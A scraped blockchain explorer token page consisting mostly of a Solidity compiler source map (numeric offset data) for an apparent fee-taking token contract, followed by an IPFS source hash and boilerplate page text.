;8715:7:0;;:12;8697:30;8693:43;;;8650:221::o;8693:43::-;8769:9;;;8749:17;:29;8807:7;;;8789:15;:25;-1:-1:-1;8828:13:0;;;;8852:11;8650:221::o;13055:610::-;13202:15;13232:23;13270:12;13297:23;13335:12;13362:13;13389:19;13400:7;13389:10;:19::i;:::-;-1:-1:-1;;;;;13437:15:0;;;;;;:7;:15;;;;;;13187:221;;-1:-1:-1;13187:221:0;;-1:-1:-1;13187:221:0;;-1:-1:-1;13187:221:0;-1:-1:-1;13187:221:0;-1:-1:-1;13187:221:0;-1:-1:-1;13437:28:0;;13187:221;13437:19;:28::i;:::-;-1:-1:-1;;;;;13419:15:0;;;;;;;:7;:15;;;;;;:46;;;;13497:18;;;;;;;:39;;13520:15;13497:22;:39::i;:::-;-1:-1:-1;;;;;13476:18:0;;;;;;:7;:18;;;;;:60;13547:16;13557:5;13547:9;:16::i;:::-;13574:23;13586:4;13592;13574:11;:23::i;:::-;13630:9;-1:-1:-1;;;;;13613:44:0;13622:6;-1:-1:-1;;;;;13613:44:0;;13641:15;13613:44;;;;1361:25:1;;1349:2;1334:18;;1215:177;13613:44:0;;;;;;;;13176:489;;;;;;13055:610;;;:::o;3948:223::-;4068:7;4103:12;4096:5;4088:28;;;;-1:-1:-1;;;4088:28:0;;;;;;;;:::i;:::-;-1:-1:-1;4127:9:0;4139:5;4143:1;4139;:5;:::i;16166:260::-;16264:7;;16217;;;;4736:18;16332:20;16264:7;4736:18;16332:11;:20::i;:::-;16322:7;:30;16318:61;;;-1:-1:-1;;16362:7:0;;;4736:18;;-1:-1:-1;16166:260:0;-1:-1:-1;16166:260:0:o;16318:61::-;16401:7;;16410;;-1:-1:-1;16166:260:0;-1:-1:-1;16166:260:0:o;14088:618::-;14188:7;14210;14232;14254;14276;14298;14334:23;14359:12;14373:13;14403:40;14415:7;14424:9;;14435:7;;14403:11;:40::i;:::-;14333:110;;;;;;14454:19;14476:10;:8;:10::i;:::-;14454:32;;14498:15;14515:23;14540:12;14569:46;14581:7;14590:4;14596:5;14603:11;14569;:46::i;:::-;14497:118;;-1:-1:-1;14497:118:0;-1:-1:-1;14497:118:0;-1:-1:-1;14669:15:0;;-1:-1:-1;14686:4:0;;-1:-1:-1;14692:5:0;;-1:-1:-1;;;;;14088:618:0;;;;;;;:::o;3174:136::-;3232:7;3259:43;3263:1;3266;3259:43;;;;;;;;;;;;;;;;;:3;:43::i;2986:179::-;3044:7;;3076:5;3080:1;3076;:5;:::i;:::-;3064:17;;3105:1;3100;:6;;3092:46;;;;-1:-1:-1;;;3092:46:0;;12268:2:1;3092:46:0;;;12250:21:1;12307:2;12287:18;;;12280:30;12346:29;12326:18;;;12319:57;12393:18;;3092:46:0;12066:351:1;13674:211:0;13727:19;13749:10;:8;:10::i;:::-;13727:32;-1:-1:-1;13770:13:0;13786:22;:5;13727:32;13786:9;:22::i;:::-;13860:4;13844:22;;;;:7;:22;;;;;;13770:38;;-1:-1:-1;13844:33:0;;13770:38;13844:26;:33::i;:::-;13835:4;13819:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;13674:211:0:o;13894:147::-;13972:7;;:17;;13984:4;13972:11;:17::i;:::-;13962:7;:27;14013:10;;:20;;14028:4;14013:14;:20::i;:::-;14000:10;:33;-1:-1:-1;;13894:147:0:o;14715:472::-;14884:7;;;;14978:30;15004:3;14978:21;:7;14990:8;14978:11;:21::i;:::-;:25;;:30::i;:::-;14963:45;-1:-1:-1;15019:13:0;15035:28;15059:3;15035:19;:7;15047:6;15035:11;:19::i;:28::-;15019:44;-1:-1:-1;15074:23:0;15100:28;15019:44;15100:17;:7;15112:4;15100:11;:17::i;:::-;:21;;:28::i;:::-;15074:54;15167:4;;-1:-1:-1;15173:5:0;;-1:-1:-1;14715:472:0;;-1:-1:-1;;;;;14715:472:0:o;15196:537::-;15390:7;;;;15487:24;:7;15499:11;15487;:24::i;:::-;15469:42;-1:-1:-1;15522:12:0;15537:21;:4;15546:11;15537:8;:21::i;:::-;15522:36;-1:-1:-1;15569:13:0;15585:22;:5;15595:11;15585:9;:22::i;:::-;15569:38;-1:-1:-1;15618:23:0;15644:28;15569:38;15644:17;:7;15656:4;15644:11;:17::i;:28::-;15694:7;;;;-1:-1:-1;15720:4:0;;-1:-1:-1;15196:537:0;;-1:-1:-1;;;;;;;15196:537:0:o;3552:246::-;3610:7;3634:1;3639;3634:6;3630:47;;-1:-1:-1;3664:1:0;3657:8;;3630:47;3687:9;3699:5;3703:1;3699;:5;:::i;:::-;3687:17;-1:-1:-1;3732:1:0;3723:5;3727:1;3687:17;3723:5;:::i;:::-;:10;3715:56;;;;-1:-1:-1;;;3715:56:0;;12624:2:1;3715:56:0;;;12606:21:1;12663:2;12643:18;;;12636:30;12702:34;12682:18;;;12675:62;-1:-1:-1;;;12753:18:1;;;12746:31;12794:19;;3715:56:0;12422:397:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2489:127::-;2550:10;2545:3;2541:20;2538:1;2531:31;2581:4;2578:1;2571:15;2605:4;2602:1;2595:15;2621:719;2664:5;2717:3;2710:4;2702:6;2698:17;2694:27;2684:55;;2735:1;2732;2725:12;2684:55;2771:6;2758:20;2797:18;2834:2;2830;2827:10;2824:36;;;2840:18;;:::i;:::-;2915:2;2909:9;2883:2;2969:13;;-1:-1:-1;;2965:22:1;;;2989:2;2961:31;2957:40;2945:53;;;3013:18;;;3033:22;;;3010:46;3007:72;;;3059:18;;:::i;:::-;3099:10;3095:2;3088:22;3134:2;3126:6;3119:18;3180:3;3173:4;3168:2;3160:6;3156:15;3152:26;3149:35;3146:55;;;3197:1;3194;3187:12;3146:55;3261:2;3254:4;3246:6;3242:17;3235:4;3227:6;3223:17;3210:54;3308:1;3301:4;3296:2;3288:6;3284:15;3280:26;3273:37;3328:6;3319:15;;;;;;2621:719;;;;:::o;3345:543::-;3433:6;3441;3494:2;3482:9;3473:7;3469:23;3465:32;3462:52;;;3510:1;3507;3500:12;3462:52;3550:9;3537:23;3579:18;3620:2;3612:6;3609:14;3606:34;;;3636:1;3633;3626:12;3606:34;3659:50;3701:7;3692:6;3681:9;3677:22;3659:50;:::i;:::-;3649:60;;3762:2;3751:9;3747:18;3734:32;3718:48;;3791:2;3781:8;3778:16;3775:36;;;3807:1;3804;3797:12;3775:36;;3830:52;3874:7;3863:8;3852:9;3848:24;3830:52;:::i;:::-;3820:62;;;3345:543;;;;;:::o;3893:160::-;3958:20;;4014:13;;4007:21;3997:32;;3987:60;;4043:1;4040;4033:12;3987:60;3893:160;;;:::o;4058:180::-;4114:6;4167:2;4155:9;4146:7;4142:23;4138:32;4135:52;;;4183:1;4180;4173:12;4135:52;4206:26;4222:9;4206:26;:::i;4243:247::-;4302:6;4355:2;4343:9;4334:7;4330:23;4326:32;4323:52;;;4371:1;4368;4361:12;4323:52;4410:9;4397:23;4429:31;4454:5;4429:31;:::i;4495:180::-;4554:6;4607:2;4595:9;4586:7;4582:23;4578:32;4575:52;;;4623:1;4620;4613:12;4575:52;-1:-1:-1;4646:23:1;;4495:180;-1:-1:-1;4495:180:1:o;4680:689::-;4772:6;4780;4788;4841:2;4829:9;4820:7;4816:23;4812:32;4809:52;;;4857:1;4854;4847:12;4809:52;4897:9;4884:23;4926:18;4967:2;4959:6;4956:14;4953:34;;;4983:1;4980;4973:12;4953:34;5021:6;5010:9;5006:22;4996:32;;5066:7;5059:4;5055:2;5051:13;5047:27;5037:55;;5088:1;5085;5078:12;5037:55;5128:2;5115:16;5154:2;5146:6;5143:14;5140:34;;;5170:1;5167;5160:12;5140:34;5225:7;5218:4;5208:6;5205:1;5201:14;5197:2;5193:23;5189:34;5186:47;5183:67;;;5246:1;5243;5236:12;5183:67;5277:4;5269:13;;;;-1:-1:-1;5301:6:1;-1:-1:-1;5326:37:1;;5342:20;;;-1:-1:-1;5326:37:1;:::i;:::-;5316:47;;4680:689;;;;;:::o;5374:388::-;5442:6;5450;5503:2;5491:9;5482:7;5478:23;5474:32;5471:52;;;5519:1;5516;5509:12;5471:52;5558:9;5545:23;5577:31;5602:5;5577:31;:::i;:::-;5627:5;-1:-1:-1;5684:2:1;5669:18;;5656:32;5697:33;5656:32;5697:33;:::i;:::-;5749:7;5739:17;;;5374:388;;;;;:::o;5767:127::-;5828:10;5823:3;5819:20;5816:1;5809:31;5859:4;5856:1;5849:15;5883:4;5880:1;5873:15;5899:168;5972:9;;;6003;;6020:15;;;6014:22;;6000:37;5990:71;;6041:18;;:::i;6072:125::-;6137:9;;;6158:10;;;6155:36;;;6171:18;;:::i;6202:356::-;6404:2;6386:21;;;6423:18;;;6416:30;6482:34;6477:2;6462:18;;6455:62;6549:2;6534:18;;6202:356::o;6563:127::-;6624:10;6619:3;6615:20;6612:1;6605:31;6655:4;6652:1;6645:15;6679:4;6676:1;6669:15;6695:135;6734:3;6755:17;;;6752:43;;6775:18;;:::i;:::-;-1:-1:-1;6822:1:1;6811:13;;6695:135::o;10059:128::-;10126:9;;;10147:11;;;10144:37;;;10161:18;;:::i;10603:251::-;10673:6;10726:2;10714:9;10705:7;10701:23;10697:32;10694:52;;;10742:1;10739;10732:12;10694:52;10774:9;10768:16;10793:31;10818:5;10793:31;:::i;10859:980::-;11121:4;11169:3;11158:9;11154:19;11200:6;11189:9;11182:25;11226:2;11264:6;11259:2;11248:9;11244:18;11237:34;11307:3;11302:2;11291:9;11287:18;11280:31;11331:6;11366;11360:13;11397:6;11389;11382:22;11435:3;11424:9;11420:19;11413:26;;11474:2;11466:6;11462:15;11448:29;;11495:1;11505:195;11519:6;11516:1;11513:13;11505:195;;;11584:13;;-1:-1:-1;;;;;11580:39:1;11568:52;;11675:15;;;;11640:12;;;;11616:1;11534:9;11505:195;;;-1:-1:-1;;;;;;;11756:32:1;;;;11751:2;11736:18;;11729:60;-1:-1:-1;;;11820:3:1;11805:19;11798:35;11717:3;10859:980;-1:-1:-1;;;10859:980:1:o;11844:217::-;11884:1;11910;11900:132;;11954:10;11949:3;11945:20;11942:1;11935:31;11989:4;11986:1;11979:15;12017:4;12014:1;12007:15;11900:132;-1:-1:-1;12046:9:1;;11844:217::o
Swarm Source
ipfs://7aa25668820f32f1867072444b9c6043e94d205f0df8ecdb599c436b8055bb43
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.